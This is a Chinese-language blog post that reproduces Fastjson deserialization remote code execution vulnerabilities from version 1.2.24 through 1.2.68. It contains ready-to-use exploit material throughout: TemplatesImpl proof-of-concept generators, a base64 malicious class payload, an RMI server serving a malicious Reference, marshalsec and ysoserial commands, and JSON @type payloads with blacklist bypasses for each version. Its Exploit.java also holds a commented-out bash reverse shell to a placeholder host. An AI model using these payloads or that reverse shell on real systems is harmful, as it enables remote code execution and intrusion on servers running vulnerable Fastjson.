【漏洞复现】Fastjson反序列化

Fastjson反序列化

    • 一、简介
    • 二、序列化与反序列化
    • 三、Fastjson漏洞介绍
      • 1、漏洞原理
      • 2、RMI
      • 3、JNDI
      • 4、JEP290
    • 四、编写的简单测试的环境
    • 五、漏洞版本
      • 1、fastjson<=1.2.24
        • 1.1、TemplatesImpl 利用链分析
        • 1.2、JNDI利用链分析
        • 1.3、JNDI利用
        • 1.4、官方进行的修复
      • 2、fastjson<=1.2.41
      • 3、fastjson<=1.2.42
      • 4、fastjson<=1.2.45
      • 5、fastjson<=1.2.47
      • 6、1.2.48<=fastjson<1.2.68
      • 7、fastjson<=1.2.68

欢迎大家关注我的公众号“嘀嗒安全”
【漏洞复现】Fastjson反序列化_第1张图片

最近log4j的漏洞很火,他的复现步骤和fastjson相似 所以来复现学习一些,希望对大家有一点帮助

一、简介

Java 序列化及反序列化处理在基于Java 架构的Web应用中具有尤为重要的作用。例如位于网络两端、彼此不共享内存信息的两个Web应用在进行远程通信时,无论相互间发送何种类型的数据,在网络中实际上都是以二进制序列的形式传输的。为此,发送方必须将要发送的Java 对象序列化为字节流,接收方则需要将字节流再反序列化还原得到Java 对象,才能实现正常通信。当攻击者输入精心构造的字节流被反序列化为恶意对象时,就会造成一系列的安全问题。

【漏洞复现】Fastjson反序列化_第2张图片

二、序列化与反序列化

序列化是指将对象按照一定格式转化为字节流或字符串

反序列化是序列化的逆过程,将具有一定格式的字节流或字符串还原成对象。

​ Fastjson可以将对象转换成Json字符串,XMLDecoder 可以将XML字符串还原成字符串,所以也是序列化和反序列化。

​ 序列化可以将对象转换成字节流后保存、传输。反序列化则可以将字节流转换成对象,注入进程序之中,也就是说,不加以控制的反序列化,可以在程序中注入任意一个对象。

三、Fastjson漏洞介绍

​ 与原生的java反序列化相比,FastJson未使用readObject()方法进行反序列化,而是使用了自定义的一套方法,在反序列化的过程中,调用getter和setter方法将JSON字符串还原成对象。

1.2.24版本发布了反序列化漏洞,1.2.25关闭了默认开启的AutoType并加入黑名单

1.2.41和1.2.42 对类名处理不当,造成黑名单绕过

1.2.45中发现了不在黑名单中的利用类

1.2.47中发现了缓存机制可以绕过AutoType

1.2.68又通过缓存绕过了AutoType

从上述Fastjson反序列化漏洞的演化历程可以看出,针对Fastjson的漏洞挖掘主要在于以下两个方面。

· 寻找新的利用链,绕过黑名单。

· 寻找绕过AutoType的方式。

1、漏洞原理

FastJson将JSON还原成对象的方法有三种

  • parse(String text)
  • parseObject(String text)
  • parseObject(String text,Class\clazz)

当通过这3种方法将JSON还原成对象时,FastJson自动调用类中的setter方法和无参构造函数,以及满足条件的getter方法:

  • 只存在getter方法,无setter方法
  • 方法名称长度大于等于4
  • 非静态方法
  • 方法名以get开头,且第四个字符为大写字母如getAge
  • 方法无需传参
  • 方法返回值集成自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong的其中一种

【漏洞复现】Fastjson反序列化_第3张图片

【漏洞复现】Fastjson反序列化_第4张图片

parseObject(String text)方法将JSON串还原成对象后,会再调用一个xxx方法,所以类中搜易getter方法都会被执行

【漏洞复现】Fastjson反序列化_第5张图片

2、RMI

Java远程方法调用,即Java RMI (Java Remote Method Invocation),即允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机上的不同进程中,也可以运行在网络上的不同计算机中。在网络传输的过程中,RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收到经过序列化编码的对象后会进行反序列化

ps:实验要修改\jdk1.8.0_191\jre\lib\security\java.security文件

#sun.rmi.registry.registryFilter=\
sun.rmi.registry.registryFilter=*
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1088 CommonsCollections5 "calc"

利用ysoserial攻击目标RMI开启的1088端口,RMI自动反序列化目标传过来的字节流,攻击要求,已知目标端口,已知所用的组件

3、JNDI

JNDI (Java Naming and Directory Interface) 是一组应用程序接口,目的是方便查找远程或是本地对象。典型的应用场景是配置数据源,除此之外,JNDI还可以访问现有的目录和服务,例如:LDAP、RMI、CORBA、DNS、NDS、NIS。

当程序通过JNDI获取外部远程对象过程中,程序被控制访问恶意的服务地址(例如:指向恶意的RMI服务地址),并加载和实例化恶意对象时,将会造成JNDI注入。JNDI注入利用过程如下。

  1. 当客户端程序中调用了InitialContext.lookup(url),且url可被输入控制,指向精心构造好的RMI服务地址。
  2. 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类。
  3. 当客户端执行lookup()时,会对恶意的Factory类进行加载并实例化,通过factory.getObjectInstance()获取外部远程对象实例。
  4. 攻击者在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到远程代码执行的效果。

编译生成.class文件

在文件目录下开启http服务

python -m http.server

使用marshalsec工具,开启监听本地的1099端口

java -cp marshalsec.jar marshalsec.jnid.RMIRefServer http://127.0.0.1:8000/#eval.class 1099

在程序中构造恶意代码

被攻击的程序会先连接到工具启动的RMI服务
会去http服务上获取恶意的类
恶意的类因为写在了静态代码块中,加载时就会自动调用 

4、JEP290

JEP290是官方发布的用于缓解反序列化漏洞的措施,从8u121,7u13,6u141版本开始,JDK为RMI注册表和RMI分布式垃圾收集器内置了过滤器,只允许特定的类进行反序列化。

四、编写的简单测试的环境

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class FastJsonDemo {
    public static void main(String[] args){
        String str = command;
        JSON.parse(str, Feature.SupportNonPublicField);
        /*
        还可以是JNDI的方式
         {
            "@type": "com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName": "rmi://127.0.0.1:1999/Exploit",
            "autoCommit": true
        }
         */
    }
}

五、漏洞版本

1、fastjson<=1.2.24

1.1、TemplatesImpl 利用链分析

首先使用parseObject对payload进行反序列化。parseObject会调用payload中存储的@type信息,即Templateslmpl的getter,setter,和构造方法。

在TypeUtil.class中下断点,此处加载Templateslmpl类。

【漏洞复现】Fastjson反序列化_第6张图片

这里调用了getter方法,getOutputProperties
【漏洞复现】Fastjson反序列化_第7张图片

调用newTransformer方法
【漏洞复现】Fastjson反序列化_第8张图片

调用getTransletInstance方法
【漏洞复现】Fastjson反序列化_第9张图片

这里会调用defineTransletClasses,通过传入的_bytecodes生成 _class

此处可以看到成功传入类名,调用newInstance实例化为tranlet对象

此处调用恶意构造方法

完整的利用链
【漏洞复现】Fastjson反序列化_第10张图片

编译EvilObject.java成EvilObject.class
Alt text
先看poc,其中NASTY_CLASS为TemplatesImpl类,evilCode是EvilObject.class base64编码:

final String evilClassPath = "E:\\Struts2-Vulenv-master\\PoCs-fastjson1241\\src\\main\\java\\org\\lain\\poc\\TemplatesImpl\\EvilObject.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;";
 String payload = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_transletIndex\":0,\"_auxClasses\":{},\"_outputProperties\":{ }";

下面看下Poc是怎么构造的,当使用fastjson解析json时,会自动调用其属性的get方法。
TypeUtils.clss return loadClass处下断点,会加载TemplatesImpl类
【漏洞复现】Fastjson反序列化_第11张图片

继续调试,这里调用了getOutputProperties方法

【漏洞复现】Fastjson反序列化_第12张图片

调用new TransformerImpl方法,这时_OutputProperties已经赋值

【漏洞复现】Fastjson反序列化_第13张图片

调用newTransformer方法

【漏洞复现】Fastjson反序列化_第14张图片

调用getTransletInstance方法,并对我们传入的_name进行判断,这里就是为什么_name字段需要进行赋值

【漏洞复现】Fastjson反序列化_第15张图片

又判断_class,这里会调用defineTransletClasses,

这里就用到了_tfactory,这里也是他必须为{}(这里就是将它赋值为了一个对象),这段代买主要就是获得了一个类加载器,_tfactory设置为对象后,这里的代码就不会报错了,

【漏洞复现】Fastjson反序列化_第16张图片

继续执行,程序就会通过传入的_bytecodes生成 _class

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ecF2r0mL-1640942062042)(fastjson.assets/image-20211222003734154.png)]

【漏洞复现】Fastjson反序列化_第17张图片

此处可以看到成功传入了我们定义的恶意类的类名

【漏洞复现】Fastjson反序列化_第18张图片

然后就会在这里调用了恶意代码

【漏洞复现】Fastjson反序列化_第19张图片

总的来说,首先_bytecodes会传入 getTransletInstance方法中的defineTransletClasses方法,defineTransletClasses方法会根据_bytecodes字节数组new一个_class,_bytecodes加载到_class中,最后根据_class,用newInstance生成一个java实例

利用链大致就是这个(大佬的图)

【漏洞复现】Fastjson反序列化_第20张图片

将包含恶意代码的java文件使用javac生成.class文件

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class EvilObject /*extends AbstractTranslet */{

    public EvilObject() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }

    public static void main(String[] args) throws Exception {
        //test
        EvilObject evilObject = new EvilObject();
    }
}

将文件中的内容进行base64编码,然后放入payload中

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["恶意代码"],'_name':'xx','_tfactory':{ },"_outputProperties":{ }}

这里附一个恶意代码和poc一起生成的文件

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.net.util.Base64;

public class TemplatesImplPoc2 {
    public static class test{
    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(test.class.getName());

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "nice0e3"+System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        // 将生成的class文件保存当当前项目目录下
        cc.writeFile("./");
        try {
            byte[] evilCode = cc.toBytecode();
            String evilCode_base64 = new String(Base64.encodeBase64(evilCode));
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{"+
                    "\"@type\":\"" + NASTY_CLASS +"\","+
                    "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                    "'_name':'a.b',"+
                    "'_tfactory':{ },"+
                    "'_outputProperties':{ }"+
                    "}\n";
            // 输出构造好的POC
            System.out.println(text1);
            ParserConfig config = new ParserConfig();
            // fastjson解析POC
            // Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField 在parseObject中才能触发;
            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

大概流程是先创建一个TemplatesImpl对象,再使用Javassist动态编程创建一个恶意类,由于这个恶意类是自定义的,因此可以通过该类执行任何想要执行的代码,比如Runtime.getRuntime().exec(“calc.exe”)。一个类在初始化时会自动执行静态代码块里的代码,因此可以将Runtime.getRuntime().exec(“calc.exe”)写在恶意类的静态代码块中,在初始化的过程中自动执行。恶意类会被转化成一个byte数组,并传递给TemplatesImpl的_ bytecodes属性。

主要注意的点

  • 恶意代码在_bytecodes中,生成的恶意代码必须进行base64解码

  • TemplatesImpl链中必须得继承父类

  • _tfactory是一个对象

  • _name不能为空

  • _outputProperties 是properties类型,他的get和set方法都会被执行加粗样式

生成的poc

{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'xx','_tfactory':{ },\"_outputProperties\":{ }}

将poc当成恶意代码传入目标中执行后就会弹出一个计算器

【漏洞复现】Fastjson反序列化_第21张图片

1.2、JNDI利用链分析

Gadget com.sun.rowset.JdbcRowSetImpl

 setAutoCommit() -> connect() -> InitialContext.lookup()

poc如下,dataSourceName 为rmi://localhost:1090/evil:

        String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\","
                + "\"dataSourceName\":\"" + dataSourceName + "\","
                + "\"autoCommit\":\"true\"}";

RMIServer代码如下:

package org.lain.poc.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @author: lanqihe
 * @Date: 下午8:01 2017/12/11
 * @Modified By:
 * @Description: 本地注册一个register,并将恶意的类绑定
 */
public class RMIServer {


    public static void main(String argv[]) {

        try {
            Registry  registry =  LocateRegistry.createRegistry(1090);

            //如果通过rmi无法找到org.lain.poc.jndi.EvilObjectFactory,则尝试从factoryLocation 获取
            //因此,本地测试的话,如果factory正确,factoryLocation随便填写
            Reference reference = new Reference("EvilObject",
                    "org.lain.poc.jndi.EvilObjectFactory",
                    "http://localhost:9999/" );


            //客户端通过evil查找,获取到EvilObject
            registry.bind("evil", new ReferenceWrapper(reference));

            System.out.println("Ready!");
            System.out.println("Waiting for connection......");

        } catch (Exception e) {
            System.out.println("RMIServer: " + e.getMessage());
            e.printStackTrace();
        }
    }
}

调试过程如下:
首先会加载com.sun.rowset.JdbcRowSetImpl类

【漏洞复现】Fastjson反序列化_第22张图片

这里获得了我们传入参数中@type的值,这个就是要要加载的类

【漏洞复现】Fastjson反序列化_第23张图片

因为poc中的autoCommit设置为true.会调用setAutoCommit方法
【漏洞复现】Fastjson反序列化_第24张图片

继续调试,就会进入connect()方法中,调用lookup方法
【漏洞复现】Fastjson反序列化_第25张图片

因为初始化的时候getDataSourceName为空,进入else,下断点得到 RMI 的 url 为rmi://127.0.0.1:1099/badClassName,并传入setDataSourceNmame()

【漏洞复现】Fastjson反序列化_第26张图片

通过lookup方法就实例化了恶意类,从而导致构造方法的恶意代码触发。

【漏洞复现】Fastjson反序列化_第27张图片

总结:fastjson @type的值传入类,在解析json时,就会调用传入属性的getter,setter方法。如果找到一个类getter,setter能够传入可控的恶意class字节码或者是jdni服务,就能导致rce.

@type :指定恶意利⽤类为 com.sun.rowset.JdbcRowSetImpl

dataSourceName :指定 RMI / LDAP 恶意服务器,并调⽤ setDataSourceName 函数

autoCommit :调⽤ setAutoCommit 函数。

1.3、JNDI利用

​ 首先将以下代码保存为Exploit.java(可以根据操作系统类型更改自己想要执行的命令)

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
      //Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

使用javac命令编译Exploit.java文件,生成一个Exploit.class文件

javac Exploit.java
使用python开启一个http服务并把生成的Exploit.class文件,放到vps的web目录下
python3 -m http.server

使用marshalsec启动一个RMI服务器,或者ladp服务器。
下载地址:https://github.com/mbechler/marshalsec
下载后切换到marshalsec目录下使用maven进行打包。

mvn clean package -DskipTests

​ 把target下的marshalsec-0.0.3-SNAPSHOT-all.jar上传到公网vps上。
可以使用RMI或者LDAP的服务,将reference result 重定向到web服务器(即文件Exploit.class的存放位置)。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#Exploit" 9999

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 9999

发送payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999/Exploit", "autoCommit":true}


{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/Exploit", "autoCommit":true}

成功执行了系统命令

1.4、官方进行的修复

astjson 1.2.25版本中引入了checkAutotype,其中增加了黑白名单的校验,用于缓解反序列化漏洞的产生,并且将内置的黑白名单进行加密,增加了绕过黑白名单的研究成本。

通常,以下几种类型的类可以通过校验。

· 缓存 mapping 中的类。

· 白名单中的类。

· 开启 autotype的类。

· 指定的期望类(expectClass)。

· 使用JSONType 注解的类。

Fastjson优先从mapping中获取类,当成功获取时,其不会进行黑白名单的安全检测,因此可以通过寻找将类加入缓存的方法,达到从逻辑层面上绕过checkAutoType检测的目的,所以绕过checkAutoType安全机制是一种逻辑漏洞。

2、fastjson<=1.2.41

第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。
com.sun.rowset.JdbcRowSetImpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。
exp:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

3、fastjson<=1.2.42

fastjson在1.2.42版本新增了校验机制。

if ((((BASIC
    ^ className.charAt(0))
    * PRIME)
    ^ className.charAt(className.length() - 1))
    * PRIME == 0x9198507b5af98f0L)
{
    if ((((BASIC
        ^ className.charAt(0))
        * PRIME)
        ^ className.charAt(1))
        * PRIME == 0x9195c07b5af5345L)
    {
        throw new JSONException("autoType is not support. " + typeName);
    }
    // 9195c07b5af5345
    className = className.substring(1, className.length() - 1);
}

如果输入类名的开头和结尾是L和;就将头和尾去掉,再进行黑名单验证。
绕过方法,在类名外部嵌套2层L;。
原类名:com.sun.rowset.JdbcRowSetImpl
绕过: LLcom.sun.rowset.JdbcRowSetImpl;;
exp:

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

4、fastjson<=1.2.45

前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
使用黑名单绕过,org.apache.ibatis.datasource在1.2.46版本被加入了黑名单
由于在项目中使用的频率也较高,所以影响范围较大。

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

5、fastjson<=1.2.47

这个版本发生了不开启autotype情况下能利用成功的绕过,对版本小于1.2.48的版本通杀。

这次的绕过:

利用到了java.lang.class,这个类不在黑名单,所以checkAutotype可以绕过,

然后就和之前流程一样调用 deserializer.deserialze 来处理我们传入的clazz,也就是java.lang.class

【漏洞复现】Fastjson反序列化_第28张图片

这个java.lang.class类对应的deserializer为MiscCodec

【漏洞复现】Fastjson反序列化_第29张图片

deserialize时会取json串中的val值并load这个val对应的class,如果fastjson cache为true,就会缓存这个val对应的class到全局map中
如果再次加载val名称的class,并且autotype没开启(因为开启了会先检测黑白名单,所以这个漏洞开启了反而不成功),下一步就是会尝试从全局map中获取这个class,如果获取到了,直接返回
exp:

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "rmi://x.x.x.x:1098/jndi", 
        "autoCommit": true
    }
}

6、1.2.48<=fastjson<1.2.68

这个几个版本中都是对黑名单的绕过

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

7、fastjson<=1.2.68

本次是java.lang.AutoCloseable导致的exceptClass为非NULL

poc

{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"oracle.jdbc.rowset.OracleJDBCRowSet\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"command\":\"111\"}"

你可能感兴趣的:(漏洞分析,web安全,java,安全,信息安全)